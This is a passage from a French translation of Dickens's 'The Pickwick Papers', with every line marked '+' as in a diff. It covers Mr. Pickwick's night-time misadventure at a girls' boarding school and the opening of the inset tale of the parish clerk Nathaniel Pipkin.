+escalader le mur, il refusa le pardessus que lui offrait Sam, et sortit,
+suivi de ce fidèle serviteur.
+
+La lune était sur l'horizon, mais cachée derrière des nuages, la nuit
+était belle et sèche, mais singulièrement sombre; les sentiers, les
+haies, les champs, les maisons et les arbres étaient enveloppés d'une
+ombre épaisse; l'atmosphère était lourde et brûlante; des éclairs de
+chaleur illuminaient de temps en temps les nuages, et c'était la seule
+chose qui animât un peu la triste obscurité dont la terre était
+couverte; aucun son ne se faisait entendre, excepté l'aboiement éloigné
+de quelque chien inquiet.
+
+Nos aventuriers trouvèrent la maison, reconnurent l'inscription de
+cuivre, firent le tour du mur, et s'arrêtèrent vers le fond du jardin.
+
+«Sam, dit M. Pickwick, vous retournerez à l'auberge quand vous m'aurez
+aidé à monter par-dessus le mur.
+
+--Très-bien, monsieur.
+
+--Et vous m'attendrez.
+
+--Certainement, monsieur.
+
+--Prenez ma jambe, et quand je dirai: _haut!_ élevez-moi doucement.
+
+--Me voilà prêt, monsieur....»
+
+Ayant arrangé ces préliminaires, M. Pickwick empoigna le sommet du mur,
+et donna la mot _haut!_ qui fut obéi très-littéralement; car, soit que
+son corps participât en quelque degré de l'élasticité de son esprit,
+soit que les idées de Sam sur une _douce élévation_ ne fussent pas
+exactement les mêmes que celles de son maître, l'effet immédiat de son
+assistance fut de le jeter par-dessus le mur. Après avoir écrasé trois
+framboisiers et un rosier, cet immortel gentleman descendit enfin de
+toute sa longueur sur la terre.
+
+«Vous ne vous êtes pas blessé, monsieur? demanda Sam, aussitôt qu'il fut
+revenu de la surprise que lui avait causée la mystérieuse disparition du
+philosophe.
+
+--Non, certainement, je ne me suis pas blessé, répondit celui-ci, de
+l'autre côté du mur. Je croirais plutôt que c'est vous qui m'avez
+blessé, Sam.
+
+--J'espère que non, monsieur!
+
+--Ne vous tourmentez point, reprit notre sage en se relevant; ce n'est
+rien... quelques égratignures.... Allez vous-en, car nous serions
+entendus.
+
+--Bonne chance, monsieur.
+
+--Bonsoir.»
+
+Sam s'éloigna donc doucement, laissant M. Pickwick seul dans le jardin.
+
+Des lumières se montraient de temps en temps aux différentes fenêtres du
+bâtiment, ou passaient dans les escaliers, comme pour indiquer que les
+pensionnaires se retiraient dans leurs chambres. N'ayant nulle envie
+d'approcher de la porte avant l'heure fixée, M. Pickwick se blottit dans
+un angle du mur pour attendre qu'elle arrivât.
+
+Il était alors dans une position qui aurait abattu l'audace de bien des
+héros, et cependant il ne ressentit ni inquiétude ni découragement: il
+savait que son dessein était honorable, et il se confiait, sans nulle
+hésitation, aux nobles sentiments de Job Trotter. La situation était
+triste certainement, pour ne pas dire accablante; mais un esprit
+contemplatif peut toujours se distraire par la méditation. A force de
+méditer, M. Pickwick était tombé dans une sorte d'assoupissement,
+lorsqu'il en fut tiré par l'horloge de l'église voisine, qui sonnaient
+onze heures et demie.
+
+«Voici le moment,» pensa-t-il, en se mettant avec précaution sur ses
+pieds. Il examina la maison: les lumières avaient disparu, les volets
+étaient fermés; tout le monde était au lit, sans aucun doute. Il
+s'avança à pas de loup vers la porte, et frappa doucement. Deux ou trois
+minutes s'étaient passées sans réponse, il frappa un autre coup plus
+fort, puis un autre plus fort encore.
+
+A la fin, un bruit de pas se fit entendre dans l'escalier; la lumière
+d'une chandelle brilla à travers le trou de la serrure; des barres, des
+verrous furent tirés, et la porte s'ouvrit lentement.
+
+La porte s'ouvrit lentement, et à mesure qu'elle s'ouvrait de plus en
+plus, M. Pickwick se retirait de plus en plus derrière elle. Il allongea
+la tête avec précaution pour reconnaître la personne qui s'avançait;
+mais quel fut son étonnement lorsqu'il aperçut, au lieu de Job Trotter,
+une servante inconnue, qui tenait une chandelle dans sa main. M.
+Pickwick retira sa tête avec la vivacité déployée par Polichinelle, cet
+admirable comédien, quand il craint d'être découvert par le commissaire.
+
+«Sarah, dit la servante en s'adressant à quelqu'un dans la maison, c'est
+apparemment le chat. Minet! minet! petit! petit! petit!»
+
+Aucun animal n'ayant été attiré par ces incantations, la servante
+referma lentement la porte, et la reverrouilla, laissant M. Pickwick
+aplati contre le mur.
+
+«Ceci est fort étrange, pensa-t-il avec tristesse. Elles veillent, à ce
+que je suppose, plus tard qu'à l'ordinaire. Il est bien malheureux
+qu'elles aient choisi précisément cette nuit-ci, extrêmement
+malheureux!» Tout en faisant ces réflexions, M. Pickwick se retirait
+avec précaution dans l'angle du mur, où il avait été originairement
+caché, résolu d'attendre là assez longtemps pour pouvoir répéter, sans
+danger, son signal.
+
+Il y était à peine depuis cinq minutes, lorsque la lueur éblouissante
+d'un éclair fut immédiatement suivie d'un violent coup de tonnerre, qui
+fit retentir les cieux d'un épouvantable roulement puis vint un autre
+éclair plus éblouissant que le premier; puis un autre coup de tonnerre,
+plus épouvantable que le précédent; puis enfin arriva la pluie, plus
+terrible encore que les uns et les autres.
+
+M. Pickwick savait parfaitement qu'un arbre est un très-dangereux voisin
+pendant un orage: or, il avait un arbre à sa droite, un autre à sa
+gauche, un troisième devant lui, un quatrième derrière. S'il restait où
+il était, il risquait d'être foudroyé; s'il se montrait au milieu du
+jardin, il pouvait être saisi et livré aux constables. Une ou deux fois
+il essaya d'escalader le mur; mais, n'ayant alors aucun aide, le seul
+résultat de ses efforts fut de mettre toute sa personne dans un état de
+transpiration abondante, et d'opérer sur ses genoux et sur les os de ses
+jambes une infinité d'égratignures.
+
+«Quelle épouvantable situation!» se dit-il à lui-même, en s'arrêtant
+après cet exercice pour essuyer son front et pour frotter ses genoux. En
+même temps, il regardait vers la maison, et n'y voyant plus de lumière,
+il se flatta que tout le monde serait couché; il résolut donc de répéter
+son signal.
+
+Il marche sur la pointe du pied, dans le sable humide; il frappe à la
+porte; il retient son haleine; il écoute à travers le trou de la
+serrure. Pas de réponse. C'est singulier. Un autre coup. Il écoute de
+nouveau; un chuchotement se fait entendre dans l'intérieur, et une voix
+crie ensuite:
+
+«Qui va là?
+
+--Ce n'est pas Job, pensa M. Pickwick en s'aplatissant contre le mur.
+C'est une voix de femme.»
+
+A peine était-il arrivé à cette conclusion, qu'une fenêtre du premier
+étage s'ouvrit, et trois ou quatre voix de femmes répétèrent la
+question: «Qui est là?»
+
+M. Pickwick n'osa pas bouger. Il était clair que toute la maison était
+réveillée. Il résolut de rester où il était jusqu'à ce que l'alarme fût
+apaisée, et ensuite de faire un effort surnaturel, d'escalader le mur,
+ou de périr dans cette noble entreprise.
+
+Comme toutes les résolutions de M. Pickwick, celle-ci était la meilleure
+qu'il pût prendre dans les circonstances données; mais malheureusement
+elle était fondée sur l'hypothèse que les habitants de la maison
+n'oseraient point rouvrir la porte. Quel fut donc son désappointement
+lorsqu'il entendit tirer barres et verrous, et lorsqu'il vit la porte
+s'entre-bâiller lentement, mais de plus en plus. Il fit retraite, pas à
+pas, jusqu'auprès des gonds; mais ce fut en vain qu'il s'effaça contre
+le mur: l'interposition de sa personne empêchait la porte de s'ouvrir
+tout à fait.
+
+«Qui est là?» s'écria, de l'escalier, un choeur nombreux de voix de
+soprano. C'étaient la vieille demoiselle, maîtresse de l'établissement,
+trois sous-maîtresses, cinq domestiques femelles, et trente
+pensionnaires, toutes à demi-vêtues, toutes ombragées d'une forêt de
+papillotes.
+
+Comme on s'en doute bien, M. Pickwick ne répondit point _qui était là_,
+et alors le refrain du choeur fut changé en celui-ci: «Mon Dieu! mon
+Dieu! comme j'ai peur!
+
+--Cuisinière, dit la vieille demoiselle, qui avait pris soin de rester
+au haut de l'escalier, la dernière du groupe; cuisinière, pourquoi
+n'avancez-vous pas dans le jardin?
+
+--Si vous plaît, ma'ame, je n'en avons pas envie.
+
+--Mon Dieu! mon Dieu! que cette cuisinière est stupide! s'écrièrent les
+trente pensionnaires.
+
+--Cuisinière! reprit la vieille demoiselle avec grande dignité, ne me
+raisonnez pas, s'il vous plaît. Je vous ordonne de regarder dans le
+jardin, sur-le-champ.»
+
+Ici la cuisinière commença à pleurer: la servante dit que c'était une
+honte de la traiter ainsi, et pour cet acte de rébellion elle reçut son
+congé sur la place.
+
+«Cuisinière! entendez-vous? cria la vieille demoiselle en frappant du
+pied avec colère.
+
+--Cuisinière! entendez-vous votre maîtresse? crièrent les trois
+sous-maîtresses.
+
+--Cette cuisinière est-elle impudente!» crièrent les trente
+pensionnaires.
+
+L'infortunée cuisinière, ainsi poussée en avant, fit un pas ou deux en
+ayant soin de tenir sa chandelle de manière qu'il lui fût impossible de
+rien apercevoir. Elle déclara donc qu'elle ne voyait rien dans le
+jardin, et que ce devait être le vent.
+
+La porte allait se refermer, en conséquence, lorsqu'une pensionnaire
+curieuse s'étant hasardée à regarder entre les gonds, jeta un cri
+effroyable qui fit rentrer en un clin d'oeil la cuisinière, la servante
+et les plus aventureuses.
+
+«Qu'est-ce qui est donc arrivé à miss Smithers? demanda la vieille
+demoiselle, tandis que ladite miss Smithers tombait dans une attaque de
+nerfs de la puissance de quatre jeunes ladies.
+
+--Mon Dieu! mon Dieu! chère miss Smithers! dirent les vingt-neuf autres
+pensionnaires.
+
+--Oh! l'homme! l'homme derrière la porte!» cria miss Smithers d'une
+voix entrecoupée.
+
+Aussitôt que la vieille demoiselle eut entendu ces mots effrayants, elle
+battit en retraite jusque dans sa chambre à coucher, ferma la porta à
+double tour, et se trouva mal tout à son aise. Cependant les
+pensionnaires, les sous-maîtresses, les servantes se précipitaient sur
+l'escalier, les unes par-dessus les autres; et jamais on n'avait vu tant
+de bousculades, tant d'évanouissements, tant de cris. Au milieu du
+tumulte, M. Pickwick sortit de sa cachette et se présenta devant ces
+colombes effarouchées.
+
+«Ladies! chères ladies! leur dit-il.
+
+--Oh! Il nous appelle _chères_, cria la plus laide et la plus vieille
+des sous-maîtresses. Dieux! le misérable!
+
+--Ladies! vociféra M. Pickwick, devenu désespéré par le danger de sa
+situation. Écoutez-moi! je ne suis point un voleur! Tout ce que je veux,
+c'est la maîtresse de la maison!
+
+--Oh! quel monstre féroce! s'écria une autre sous-maîtresse. Il en veut
+à miss Tomkins!»
+
+Ici les gémissements devinrent universels.
+
+--Sonnez la cloche d'alarme! dirent une douzaine de voix.
+
+--Non! non! cria M. Pickwick, regardez-moi! ai-je l'air d'un voleur? Mes
+chères dames, vous pouvez m'attacher, m'enfermer, pieds et poings liés,
+dans un cabinet, si cela vous fait plaisir. Seulement écoutez ce que
+j'ai à dire! seulement écoutez-moi!
+
+--Comment êtes-vous entré dans notre jardin? balbutia la servante.
+
+--Appelez la maîtresse de la maison, et je lui dirai tout, tout!
+continua M. Pickwick de toutes les forces de ses poumons. Appelez-la
+donc; seulement soyez calmes, et appelez-la: vous entendrez tout!»
+
+Était-ce grâce à la figure de M. Pickwick, ou à son éloquence, ou à la
+tentation irrésistible pour des esprits féminins d'entendre quelque
+chose de mystérieux? nous l'ignorons; mais les femelles les plus
+raisonnables de l'établissement, au nombre d'environ quatre ou cinq,
+parvinrent enfin à recouvrer une tranquillité comparative. Elles
+proposèrent à M. Pickwick de se soumettre immédiatement à une contrainte
+personnelle, afin de prouver sa sincérité: il y consentit, et, pour
+obtenir de conférer avec miss Tomkins, il entra spontanément dans le
+cabinet où les externes pendaient leurs bonnets et leurs sacs durant
+les classes. Lorsqu'il y fut soigneusement renfermé, les brebis
+effrayées commencèrent peu à peu à reprendre courage. Miss Tomkins fut
+tirée de son évanouissement et de sa chambre; ses acolytes l'apportèrent
+au rez-de-chaussée, et la conférence commença.
+
+«Eh bien! l'homme, dit miss Tomkins d'une voix faible, que faisiez-vous
+dans mon jardin?
+
+--Je venais pour vous avertir qu'une de vos jeunes demoiselles doit
+s'échapper cette nuit, répondit M. Pickwick de l'intérieur du cabinet.
+
+--S'échapper! s'écrièrent miss Tomkins, les trois sous-maîtresses et les
+trente pensionnaires. Et avec qui?
+
+--Avec votre ami, M. Charles Fitz-Marshall.
+
+--_Mon_ ami! je ne connais personne de ce nom.
+
+--Eh bien! M. Jingle alors.
+
+--Je n'ai jamais entendu ce nom de ma vie.
+
+--Alors j'ai été trompé! abusé! dit M. Pickwick; j'ai été la victime
+d'un complot, d'un lâche et vil complot! Envoyez à l'hôtel de l'Ange, ma
+chère madame, si vous ne me croyez pas. Je vous en supplie, madame,
+envoyez à l'hôtel de l'Ange, et faites demander le domestique de M.
+Pickwick.
+
+--Il paraît que c'est un homme respectable, puisqu'il garde un
+domestique! dit miss Tomkins à la maîtresse d'écriture et de calcul.
+
+--J'imagine plutôt, répondit celle-ci, que c'est son domestique qui le
+garde. Je pense qu'il est fou, miss Tomkins, et que l'autre est son
+gardien.
+
+--Je crois que vous avez raison, miss Gwynn, répondit la vieille
+demoiselle. Il faut que deux des servantes aillent à l'hôtel de l'Ange,
+et que les autres restent ici pour nous protéger.»
+
+Deux des servantes furent en conséquence dépêchées à l'hôtel de l'Ange,
+en quête de M. Samuel Weller, tandis que les trois autres restèrent pour
+protéger miss Tomkins, les trois sous-maîtresses et les trente
+pensionnaires. M. Pickwick s'assit par terre, dans le cabinet, et
+attendit le retour des deux messagers avec toute la philosophie, tout le
+courage qu'il put appeler à son aide.
+
+Une heure et demie s'écoulèrent dans cette pénible situation, et lorsque
+les deux servantes revinrent enfin, M. Pickwick reconnut, outre la voix
+de Samuel Weller, deux autres voix dont l'accent paraissait familier à
+son oreille, mais dont il n'aurait pas pu deviner les propriétaires,
+quand il se serait agi de sa vie.
+
+Une courte conférence s'ensuivit; la porte fut ouverte; M. Pickwick
+sortit du cabinet et se trouva en présence de toute la pension, de Sam
+Weller, du vieux M. Wardle et de son futur gendre.
+
+«Mon cher ami! dit M. Pickwick en se précipitant vers M. Wardle et en
+saisissant ses mains; mon cher ami! au nom du ciel! expliquez à ces
+dames la malheureuse, l'horrible situation dans laquelle je me trouve
+placé. Vous devez l'avoir apprise de mon domestique. Dites-leur à tout
+hasard, mon cher camarade, que je ne suis ni un brigand, ni un fou.
+
+--Je l'ai dit, mon cher ami, je l'ai dit, répliqua M. Wardle en secouant
+la main droite du philosophe, tandis que M. Trundle secouait sa main
+gauche.
+
+--Et ceux qui disent, ou bien qui ont dit qu'il l'était, s'écria Sam en
+s'avançant au milieu de la société, ils disent quelque chose qui n'est
+pas vrai, mais au contraire qu'est tout à fait l'opposite. Et s'il y a
+ici des hommes, n'importe combien, qui disent ça, je leur y donnerai une
+preuve convaincante du contraire, dans cette même chambre ici, si ces
+très-respectables ladies veulent avoir la bonté de se retirer et de
+faire monter leurs hommes, un à un.» Ayant exprimé ce défi chevaleresque
+avec une grande volubilité, Sam Weller frappa énergiquement la paume de
+sa main avec son poing fermé, et regarda miss Tomkins d'un air gracieux
+et en clignant de l'oeil. Mais la galanterie de Sam ne produisit aucun
+effet sur cette vertueuse personne, qui avait entendu avec une horreur
+indicible la supposition, implicitement exprimée, qu'il pouvait se
+trouver _des hommes_ dans l'enceinte d'une pension de demoiselles.
+
+L'apologie de M. Pickwick fut bientôt terminée, mais on ne put tirer de
+lui aucune parole, ni pendant son retour à l'hôtel, ni lorsqu'il fut
+assis, avec ses amis, entre un bon feu et le souper dont il avait tant
+besoin. Il semblait étourdi, stupéfié. Une fois, une fois seulement, il
+se tourna vers M. Wardle et lui demanda:
+
+«Comment êtes-vous venu ici?
+
+--J'avais arrangé, pour le premier du mois, une partie de chasse avec
+Trundle. Nous sommes arrivés cette nuit, et avons été fort étonnés
+d'apprendre que vous étiez dans ce pays. Mais je suis charmé de vous y
+voir, continua l'enjoué vieillard en frappant M. Pickwick sur le dos; je
+suis charmé de vous y voir; nous aurons une partie de chasse au premier
+jour, et nous donnerons à Winkle une autre chance. N'est-ce pas, vieux
+camarade?»
+
+M. Pickwick ne répondit point. Il ne demanda pas même des nouvelles de
+ses amis de Dingley-Dell; et peu après il se retira pour la nuit, après
+avoir ordonné à Sam de venir prendre sa chandelle lorsqu'il sonnerait.
+
+Au bout d'un certain temps, la sonnette retentit, et Sam Weller se
+présenta devant son maître.
+
+«Sam! dit M. Pickwick en écartant un peu ses draps, pour le regarder.
+
+--Monsieur?» répondit Sam.
+
+M. Pickwick fit une pause, et Sam moucha la chandelle.
+
+«Sam! répéta M. Pickwick avec un effort désespéré.
+
+--Monsieur? répondit Sam de nouveau.
+
+--Où est ce Trotter?
+
+--Job, monsieur?
+
+--Oui.
+
+--Parti, monsieur.
+
+--Avec son maître, je suppose.
+
+--Son maître ou son ami, ou son je ne sais quoi. Ils sont filés
+ensemble. Ça fait un joli couple, monsieur.
+
+--Jingle aura soupçonné mon projet, et vous aura détaché ce fripon-là,
+avec son histoire, reprit M. Pickwick, que ces paroles semblaient
+étouffer.
+
+--Juste la chose, monsieur.
+
+--Nécessairement c'était une invention.
+
+--D'un bout à l'autre, monsieur. On nous a mis dedans. C'est adroit,
+tout de même!
+
+--Je ne pense pas qu'ils nous échappent aussi aisément la première fois,
+Sam?
+
+--Je ne le pense pas, monsieur.
+
+--En quelque lieu, en quelque endroit que je rencontre ce Jingle,
+s'écria M. Pickwick en se levant sur son lit et en déchargeant sur son
+oreiller un coup terrible, je ne me contenterai point de le démasquer,
+comme il le mérite si richement, mais je lui infligerai un châtiment
+personnel. Oui, je le ferai, ou mon nom n'est pas Pickwick.
+
+--Et quand j'attraperai une patte de ce pleurnichard-là, avec sa
+tignasse noire, si je ne lui tire pas de l'eau réelle de ses quinquets,
+mon nom n'est pas Weller!--Bonne nuit, monsieur.»
+
+
+
+
+CHAPITRE XVII.
+
+Montrant qu'une attaque de rhumatisme peut quelquefois servir de
+stimulant à un génie inventif.
+
+
+Quoique la constitution de M. Pickwick fût capable de soutenir une somme
+très-considérable de travaux et de fatigues, elle n'était cependant
+point à l'épreuve d'une combinaison de semblables assauts. Il est aussi
+dangereux que peu ordinaire d'être lavé à l'air de la nuit, et d'être
+séché ensuite dans un cabinet fermé: M. Pickwick apprit cet aphorisme à
+ses dépens, et fut confiné dans son lit par une attaque de rhumatisme.
+
+Mais si les forces corporelles de ce grand homme étaient anéanties, il
+n'en conservait pas moins toute la vigueur, toute l'élasticité de son
+esprit, toutes les grâces de sa bonne humeur. La vexation même, causée
+par sa dernière aventure, s'était entièrement évanouie, et il se
+joignait sans colère et sans embarras au rire joyeux de M. Wardle,
+chaque fois qu'on faisait une allusion à ce sujet. Pendant deux jours
+notre philosophe fut retenu dans son lit et reçut de son domestique les
+soins les plus empressés. Le premier jour, Sam s'efforça de l'amuser en
+lui racontant une foule d'anecdotes; le second jour, M. Pickwick demanda
+son écritoire et fut profondément occupé jusqu'à la nuit. Le troisième
+jour, se trouvant assez bien pour rester assis dans sa chambre, il
+dépêcha son valet à M. Wardle et à M. Trundle, pour les engager à venir
+le soir prendre un verre de vin chez lui. L'invitation fut avidement
+acceptée, et lorsque la société se trouva réunie, en conséquence, autour
+d'une table chargée de verres, M. Pickwick, avec une modeste rougeur,
+produisit la petite nouvelle suivante, comme ayant été _éditée_ par
+lui-même, durant sa récente indisposition, d'après le récit non
+sophistiqué de Sam Weller.
+
+LE CLERC DE PAROISSE,
+
+_Histoire d'un véritable amour._
+
+Il y avait une fois, dans une toute petite ville de province, à une
+distance considérable de Londres, un petit homme nommé Nathaniel
+Pipkin. Il était clerc de la paroisse, et habitait une petite maison,
+dans la petite Grande-Rue, à dix minutes de chemin de la petite église.
+Tous les jours, depuis neuf heures jusqu'à quatre, on le trouvait en
+train d'enseigner à des petits enfants une petite dose d'instruction.
+Nathaniel Pipkin était un être doux, bienveillant, inoffensif, avec un
+nez retroussé, des jambes tant soit peu cagneuses, des yeux un peu
+louches et une allure boiteuse. Il partageait son temps entre l'église
+et son école, et il croyait fermement qu'il n'y avait pas dans le monde
+un homme aussi savant que le curé, un appartement aussi imposant que la
+sacristie, une institution aussi bien tenue que la sienne. Une fois, et
+une fois seulement dans sa vie, Nathaniel Pipkin avait vu un évêque, un
+évêque véritable, avec ses bras dans des manches de linon et sa tête
+dans une perruque. Il l'avait vu marcher, il l'avait entendu parler,
+lors de la confirmation; et dans cette majestueuse cérémonie, quand
+l'évêque avait posé les mains sur la tête de Nathaniel Pipkin, celui-ci
+avait été tellement saisi d'une crainte respectueuse, qu'il avait
+entièrement perdu connaissance et avait été emporté, hors de l'église,
+dans les bras du bedeau.
+
+C'était là une ère importante, un événement terrible dans la vie de
+notre héros, et c'était le seul qui eût jamais troublé le cours régulier
+de sa paisible existence, lorsqu'une après-midi, comme il était occupé à
+poser sur une ardoise un effroyable problème d'addition composée qu'il
+voulait faire résoudre par un coupable gamin, il s'avisa de lever les
+yeux, dans un accès d'abstraction mentale, et aperçut à une fenêtre, de
+l'autre côté de la rue, le visage riant de Maria Lobbs. Maria Lobbs
+était la fille unique du vieux Lobbs, le grand sellier de la Grande-Rue.
+Bien des fois déjà, soit à l'église, soit ailleurs, les yeux de M.
+Pipkin s'étaient arrêtés sur la jolie figure de Maria Lobbs; mais les
+noires prunelles de Maria Lobbs n'avaient jamais été si brillantes, les
+joues de Maria Lobbs n'avaient jamais été si fleuries que dans cette
+occasion particulière. Il était donc naturel que le maître d'école n'eût
+pas la force de détacher ses regards du visage de miss Lobbs; il était
+naturel que miss Lobbs, en s'apercevant qu'elle était contemplée par un
+jeune homme, retirât sa tête, fermât la croisée et abaissât le store; il
+était naturel enfin que Nathaniel Pipkin, immédiatement après cela,
+tombât sur le coupable moutard et le gifflât de tout son coeur. Tout cela
+était parfaitement naturel et n'avait absolument rien d'étonnant.
+
+Mais ce qu'il y a d'étonnant, c'est qu'un homme d'un caractère timide
+et discret, comme Nathaniel Pipkin, un homme dont le revenu était si
+imperceptible, ait osé aspirer, depuis ce jour, à la main et au coeur de
+la fille unique de l'orgueilleux Lobbs, du grand sellier qui aurait pu
+acheter tout le village d'un trait de plume, sans se gêner en aucune
+façon; du vieux Lobbs, qui était connu pour avoir des trésors déposés à
+la banque de la province et qui, suivant la voix publique, avait en
+outre des monceaux d'argent dans un petit coffre-fort de fer, placé sur
+le manteau de la cheminée, dans l'arrière-parloir; de Lobbs, qui, au vu
+et au su de tout le village, garnissait sa table, les jours de fête,
+avec une théière, un pot à crème et un sucrier de véritable argent,
+lesquels, comme il avait coutume de s'en vanter dans l'orgueil de son
+coeur, devaient un jour devenir la propriété de l'homme assez heureux
+pour plaire à sa fille. Je le répète, on ne saurait suffisamment
+s'étonner, s'émerveiller, que Nathaniel Pipkin jetât ses regards dans
+cette direction; mais l'amour est aveugle et Nathaniel était louche: ces
+deux circonstances réunies l'empêchèrent apparemment de voir les choses
+sous leur véritable point de vue.
+
+Or, si le vieux Lobbs avait pu soupçonner, le moins du monde, l'état des
+affections de Nathaniel Pipkin, il aurait fait raser l'école jusque dans
+ses fondements, ou il aurait exterminé le maître de la surface de la
+terre, ou il aurait commis quelque autre atrocité encore plus
+hyperbolique; car c'était un terrible vieillard que ce Lobbs, quand son
+orgueil était blessé, quand sa colère était excitée; il jurait
+alors!!!--Quelquefois, quand il maudissait la paresse de son apprenti
+aux jambes grêles, on entendait rouler jusque dans la rue un tonnerre
+retentissant de jurons, qui faisaient trembler d'horreur Nathaniel
+Pipkin dans ses souliers, tandis que les cheveux de ses disciples
+épouvantés se dressaient sur leur tête.
+
+Cependant, chaque soirée, quand les devoirs étaient terminés, quand les
+élèves étaient partis, Nathaniel Pipkin s'asseyait auprès de sa fenêtre,
+et faisant semblant de lire, il lançait de côté des regards qui
+cherchaient à rencontrer les yeux brillants de Maria Lobbs. O bonheur!
+quelques jours à peine s'étaient écoulés, lorsque ces yeux brillants
+apparurent à une fenêtre du deuxième étage, occupés aussi, en apparence,
+à lire attentivement. Quelle délicieuse pâture pour le coeur de Nathaniel
+Pipkin! Quel plaisir de rester là, ensemble, pendant des heures, et de
+considérer ce joli visage tandis que ces yeux charmants étaient
+baissés. Mais lorsque Maria Lobbs commença à lever les yeux de son
+livre, et à darder leurs rayons dans la direction de Nathaniel Pipkin,
+ses transports et son admiration ne connurent plus de bornes. A la fin,
+un beau jour, sachant que le vieux Lobbs était dehors, le maître d'école
+eut la témérité d'envoyer un baiser à Maria Lobbs, et Maria Lobbs, au
+lieu de fermer la fenêtre et de baisser le rideau, sourit et lui renvoya
+son baiser. Sur cela, et quoiqu'il en pût arriver, Nathaniel Pipkin prit
+la résolution de développer à Maria Lobbs, sans plus de délai, l'état de
+ses sentiments.
+
+Un plus joli pied, un coeur plus gai, un visage plus riant, une taille
+plus gracieuse, ne passèrent jamais sur la terre aussi légèrement que le
+pied mignon, que le coeur d'or, que le visage heureux, que la taille
+séduisante de Maria Lobbs, la fille du vieux sellier. Il y avait dans
+ses yeux brillants une étincelle de friponnerie qui aurait enflammé un
+coeur bien moins susceptible que celui du maître d'école. Il y avait tant
+de gaieté dans le son contagieux de ses éclats de rire, que le plus
+farouche misanthrope n'aurait pu s'empêcher de sourire en les entendant.
+Le vieux Lobbs lui-même, au plus haut degré de sa férocité, ne savait
+pas résister aux câlineries de sa jolie fille. Lorsqu'elle se mettait
+après lui (ce qui pour dire la vérité arrivait assez souvent), et
+lorsqu'elle était secondée par sa cousine Kate, petite personne à l'air
+agaçant, effronté, scélérat, le pauvre bonhomme était incapable
+d'articuler un refus, même si elles lui avaient demandé une partie des
+trésors inouïs entassés dans son coffre-fort.
+
+Par une belle soirée d'été, le coeur de Nathaniel Pipkin battit
+violemment dans sa poitrine d'homme, lorsqu'il vit ce couple séduisant
+arriver dans le champ même où tant de fois il s'était promené, à la
+brune, en ruminant sur les beautés de Maria Lobbs. Il avait souvent
+pensé, alors, à l'air dégagé avec lequel il s'approcherait d'elle pour
+lui peindre sa passion, s'il pouvait seulement la rencontrer. Mais
+maintenant qu'elle se présentait inopinément devant lui, il sentait que
+tout son sang refluait vers son visage, au détriment manifeste de ses
+jambes, qui, privées de leur portion habituelle de ce fluide,
+tremblaient et s'entre-choquaient violemment. Quand les deux jeunes
+filles s'arrêtaient pour cueillir une fleur dans la haie, ou pour
+écouter un oiseau, le maître d'école s'arrêtait aussi, en prenant un air
+profondément rêveur; et il n'en avait pas l'air seulement, car il
+songeait avec égarement à ce qu'il allait devenir, quand les cousines
+reviendraient sur leurs pas, et le rencontreraient face à face, comme
+cela devait inévitablement arriver au bout d'un certain temps.
+Toutefois, quoiqu'il n'osât pas les rejoindre, il eût été désolé de les
+perdre de vue. Aussi, quand elles couraient, il courait; quand elles
+marchaient, il marchait; quand elles s'arrêtaient, il s'arrêtait; et il
+aurait pu continuer ce manège jusqu'à ce que la nuit les eût surpris, si
+la maligne Kate n'avait regardé derrière elle, et n'avait fait à
+Nathaniel un signe encourageant, pour le déterminer à s'approcher. Il y
+avait quelque chose d'irrésistible dans les manières de Kate, aussi
+Nathaniel obéit-il à son invitation. Puis, avec beaucoup de confusion de
+sa part, et tandis que la méchante petite cousine riait de tout son
+coeur, Nathaniel Pipkin se mit à genoux sur l'herbe humide, et déclara sa
+ferme résolution de rester là pour toujours, à moins qu'il ne lui fût
+permis de se relever comme l'amoureux accepté de Maria Lobbs. A cette
+déclaration, le rire joyeux de Maria Lobbs retentit à travers la calme
+atmosphère du soir, sans la troubler néanmoins, tant c'était un son
+harmonieux. La maligne petite cousine éclata de rire encore plus
+immodérément, et Nathaniel Pipkin rougit plus que jamais. A la fin,
+Maria Lobbs, violemment pressée par le petit homme rongé d'amour,
+détourna la tête, et murmura à sa cousine de dire, ou du moins sa
+cousine dit pour elle: qu'elle se sentait très-honorée de la demande de
+M. Pipkin; que sa main et son coeur étaient à la disposition de son père;
+mais que personne ne pouvait être insensible au mérite de monsieur
+Pipkin. Comme tout cela fut fait avec beaucoup de gravité, et comme
+Nathaniel Pipkin reconduisit Maria Lobbs et s'efforça de lui dérober un
+baiser, en partant, il se mit au lit le plus heureux des petits hommes,
+et rêva toute la nuit qu'il amollissait le vieux Lobbs, recevait la clef
+du coffre-fort, et épousait Maria.
+
+Le lendemain, Nathaniel vit le sellier partir sur son vieux bidet gris;
+il vit, à la croisée, la maligne petite cousine qui lui faisait un grand
+nombre de signes, auxquels il ne pouvait rien comprendre; et enfin il
+vit venir vers lui l'apprenti aux jambes grêles. Celui-ci dit à
+Nathaniel que son maître ne reviendrait pas avant le lendemain, et que
+ces dames attendaient M. Pipkin, pour prendre le thé, à six heures
+précises. Comment les leçons furent récitées ce jour-là, ni Nathaniel
+Pipkin, ni ses élèves ne le savent mieux que vous: mais elles furent
+récitées bien ou mal, et lorsque les enfants furent partis, Nathaniel
+Pipkin s'occupa, jusqu'à six heures sonnées, de sa toilette, avant
+d'être habillé à son goût. Ce n'est pas qu'il lui fallut beaucoup de
+temps pour choisir les vêtements qu'il devait porter, attendu qu'il n'y
+avait aucun choix à faire dans sa garde-robe, mais c'était une tâche
+pleine de difficultés et d'importance que de les nettoyer et de les
+mettre de la manière la plus avantageuse.
+
+Nathaniel trouva chez le sellier une petite société choisie, composée de
+Maria Lobbs, de sa cousine Kate et de trois ou quatre jeunes filles
+folâtres, réjouies, rosées. Il eut alors une preuve positive que les
+rumeurs relatives aux trésors du vieux Lobbs n'étaient pas exagérées; il
+vit, de ses yeux, la théière en véritable argent massif, et les petites
+cuillers en argent pour remuer le thé, et les tasses en véritable
+porcelaine, pour le boire, et les plats de même matière, qui contenaient
+les gâteaux et les rôties. Le seul revers de la médaille, c'était un
+frère de Kate, un cousin de Maria Lobbs, qu'elle appelait Henry, et qui
+semblait garder sa cousine pour lui tout seul, à un bout de la table. Il
+est délicieux de voir les membres d'une même famille avoir de
+l'affection l'un pour l'autre, mais cette affection peut être poussée
+trop loin, et Nathaniel Pipkin ne put s'empêcher de penser que Maria
+Lobbs devait aimer bien particulièrement tous ses parents, si elle avait
+pour chacun d'eux autant d'attentions que pour le cousin dont il s'agit.
+Ce n'est pas tout: après le thé, lorsque la maligne petite cousine eut
+proposé de jouer au colin-maillard, il arriva, d'une manière ou d'une
+autre, que Nathaniel Pipkin avait presque toujours les yeux bandés; et
